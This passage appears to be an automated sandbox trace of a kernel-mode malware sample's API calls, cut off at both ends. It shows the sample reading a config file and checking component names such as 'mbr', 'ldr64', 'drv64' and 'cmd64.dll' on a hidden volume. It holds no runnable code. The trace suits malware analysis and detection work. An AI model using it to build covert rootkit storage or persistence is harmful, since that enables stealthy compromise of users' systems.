Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.493] IdePortDispatch () returned 0x103 [0122.493] KeWaitForMutexObject () returned 0x0 [0122.494] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.494] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.494] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.494] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.494] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.494] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be5f00 [0122.494] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.494] KeLeaveCriticalRegion () [0122.494] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.494] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.494] KeEnterCriticalRegion () [0122.494] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.494] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.494] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.494] KeLeaveCriticalRegion () [0122.494] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.494] KeEnterCriticalRegion () [0122.494] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.494] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.494] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.494] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.494] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0122.494] IdePortDispatch () returned 0x103 [0122.494] KeWaitForMutexObject () returned 0x0 [0122.494] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.494] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.494] KeLeaveCriticalRegion () [0122.494] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.494] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.494] KeEnterCriticalRegion () [0122.494] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.494] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002ca1000 [0122.494] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.495] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.495] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.495] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.495] IdePortDispatch () returned 0x103 [0122.495] KeWaitForMutexObject () returned 0x0 [0122.495] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.495] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.495] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.495] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.495] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.495] IdePortDispatch () returned 0x103 [0122.495] KeWaitForMutexObject () returned 0x0 [0122.495] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.495] KeLeaveCriticalRegion () [0122.495] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.495] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.496] KeEnterCriticalRegion () [0122.496] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.496] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.496] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.496] KeLeaveCriticalRegion () [0122.496] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.496] KeEnterCriticalRegion () [0122.496] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.496] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.496] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be4340, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.496] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.496] KeLeaveCriticalRegion () [0122.496] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.496] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.496] KeEnterCriticalRegion () [0122.496] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.496] ExFreePoolWithTag (P=0xfffffa8003be5f00, Tag=0x0) [0122.496] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.496] KeLeaveCriticalRegion () [0122.496] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.496] ReleaseMutex (hMutex=0xf0) returned 1 [0122.496] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.496] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0122.496] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.496] KeEnterCriticalRegion () [0122.496] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.496] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.496] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.496] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.496] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.496] IdePortDispatch () returned 0x103 [0122.496] KeWaitForMutexObject () returned 0x0 [0122.496] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.496] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.496] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.496] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.496] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.497] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be6eb0 [0122.497] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.497] KeLeaveCriticalRegion () [0122.497] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.497] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.497] KeEnterCriticalRegion () [0122.497] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.497] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.497] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.497] KeLeaveCriticalRegion () [0122.497] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.497] KeEnterCriticalRegion () [0122.497] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.497] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.497] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.497] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.497] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0122.497] IdePortDispatch () returned 0x103 [0122.497] KeWaitForMutexObject () returned 0x0 [0122.497] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.497] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.497] KeLeaveCriticalRegion () [0122.497] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.497] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.497] KeEnterCriticalRegion () [0122.497] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.497] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002ca2000 [0122.497] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.497] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.497] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.497] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.497] IdePortDispatch () returned 0x103 [0122.497] KeWaitForMutexObject () returned 0x0 [0122.498] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.498] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.498] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.498] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.498] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.498] IdePortDispatch () returned 0x103 [0122.498] KeWaitForMutexObject () returned 0x0 [0122.498] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.498] KeLeaveCriticalRegion () [0122.498] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.498] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.498] KeEnterCriticalRegion () [0122.498] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.498] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.498] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.498] KeLeaveCriticalRegion () [0122.499] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.499] KeEnterCriticalRegion () [0122.499] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.499] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.499] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be5070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.499] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.499] KeLeaveCriticalRegion () [0122.499] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.499] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.499] KeEnterCriticalRegion () [0122.499] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.499] ExFreePoolWithTag (P=0xfffffa8003be6eb0, Tag=0x0) [0122.499] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.499] KeLeaveCriticalRegion () [0122.499] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.499] ReleaseMutex (hMutex=0xf0) returned 1 [0122.499] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0122.499] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0122.499] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0122.499] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0122.499] KeEnterCriticalRegion () [0122.499] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.499] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.499] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.499] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.499] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.499] IdePortDispatch () returned 0x103 [0122.500] KeWaitForMutexObject () returned 0x0 [0122.500] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.500] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0122.500] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.500] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.500] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.500] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.500] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.500] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.500] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.500] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0122.500] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.500] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.500] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.500] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.500] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.500] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.500] KeLeaveCriticalRegion () [0122.500] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.500] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0122.500] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0122.500] KeEnterCriticalRegion () [0122.500] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.500] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.500] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.501] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.501] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.501] IdePortDispatch () returned 0x103 [0122.501] KeWaitForMutexObject () returned 0x0 [0122.501] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.501] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0122.501] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.501] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.501] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.501] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.501] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.501] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.501] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.501] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0122.501] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.501] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.501] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.501] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.501] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0122.501] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.501] KeLeaveCriticalRegion () [0122.501] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.501] ReleaseMutex (hMutex=0x100) returned 1 [0122.501] Sleep (dwMilliseconds=0x2bf20) [0122.508] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6c3725b0, dwHighDateTime=0x1d24fa4)) [0122.508] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0122.508] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.508] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0122.508] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.508] KeEnterCriticalRegion () [0122.508] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.508] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.508] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.508] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.508] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.508] IdePortDispatch () returned 0x103 [0122.508] KeWaitForMutexObject () returned 0x0 [0122.508] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.508] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.508] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.508] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.508] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.508] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be6da0 [0122.508] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.509] KeLeaveCriticalRegion () [0122.509] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.509] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.509] KeEnterCriticalRegion () [0122.509] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.509] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.509] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.509] KeLeaveCriticalRegion () [0122.509] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.509] KeEnterCriticalRegion () [0122.509] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.509] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.509] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.509] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.509] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0122.509] IdePortDispatch () returned 0x103 [0122.509] KeWaitForMutexObject () returned 0x0 [0122.509] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.509] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.509] KeLeaveCriticalRegion () [0122.509] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.509] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.509] KeEnterCriticalRegion () [0122.509] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.509] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002ca5000 [0122.509] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.509] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.509] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.509] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.509] IdePortDispatch () returned 0x103 [0122.509] KeWaitForMutexObject () returned 0x0 [0122.510] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.510] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.510] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.510] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.510] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.510] IdePortDispatch () returned 0x103 [0122.510] KeWaitForMutexObject () 